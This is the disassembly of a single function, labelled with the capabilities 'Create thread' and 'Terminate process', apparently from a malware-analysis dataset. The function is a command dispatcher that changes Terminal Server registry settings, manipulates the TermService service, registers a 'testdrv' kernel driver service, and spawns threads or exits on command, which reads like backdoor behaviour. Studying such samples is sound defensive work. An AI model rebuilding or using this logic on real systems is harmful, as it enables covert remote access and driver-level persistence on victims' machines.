Function at 0x1026f396
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x10]
mov ecx, 4
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0xd0]
sub ecx, 0x3d
mov dword [ebp - 0xd0], ecx
cmp dword [ebp - 0xd0], 0x85
ja case.0x1026f111.5
mov edx, dword [ebp - 0xd0]
movzx eax, byte [edx + 0x1026f444]
jmp dword [eax*4 + 0x1026f3e8]
mov ecx, dword [ebp - 8]
call fcn.101398fa
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.10140560
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013b7c7
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013eec2
jmp case.0x1026f111.5
mov esi, esp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.101398dc
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013ad18
jmp case.0x1026f111.5
mov esi, esp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.1013953a
jmp case.0x1026f111.5
mov esi, esp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
mov ecx, dword [ebp - 8]
call fcn.1014040c
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013af5c
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.101407d1
jmp case.0x1026f111.5
push 0
push 1
push 0
push 4
push str.fSingleSessionPerUser
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
jmp case.0x1026f111.5
push str.TermService
call fcn.1013f49e
add esp, 4
push str.TermService
call fcn.1013ff34
add esp, 4
jmp case.0x1026f111.5
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.1013b54c
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013becf
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013be52
jmp case.0x1026f111.5
mov eax, dword [ebp + 8]
add eax, 1
mov esi, esp
push eax
push 0x10456e70
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1026f111.5
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.10140150
jmp case.0x1026f111.5
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.10137686
jmp case.0x1026f111.5
push 0
push 0
push 0
push 4
push str.ErrorControl
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
push 0
push 2
push 0
push 4
push str.Start
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
push 0
push 1
push 0
push 4
push str.Type
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
push 0
push 1
push 0
push 4
push str.WOW64
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
push 0
mov esi, esp
push str.testdrv
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.1013ca23
push eax
push str.testdrv
push 1
push str.DisplayName
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
push 0
mov esi, esp
push str.__C:WindowsSystem32drivers_testdrv.sys
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.1013ca23
push eax
push str.__C:WindowsSystem32drivers_testdrv.sys
push 2
push str.ImagePath
push str.SYSTEMCurrentControlSet_services_testdrv
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1013bd4e
add esp, 0x1c
jmp case.0x1026f111.5
mov eax, dword [ebp + 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
call fcn.101373d9
jmp case.0x1026f111.5
mov ecx, dword [ebp - 8]
call fcn.1013efbc
jmp case.0x1026f111.5
movzx eax, byte [0x10456c55]
test eax, eax
je 0x1026f3b4
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, esp
push 0
push 0
push 0
push 0x1013c659
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.1013ca23
pop edi
pop esi
pop ebx
add esp, 0xd0
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret 8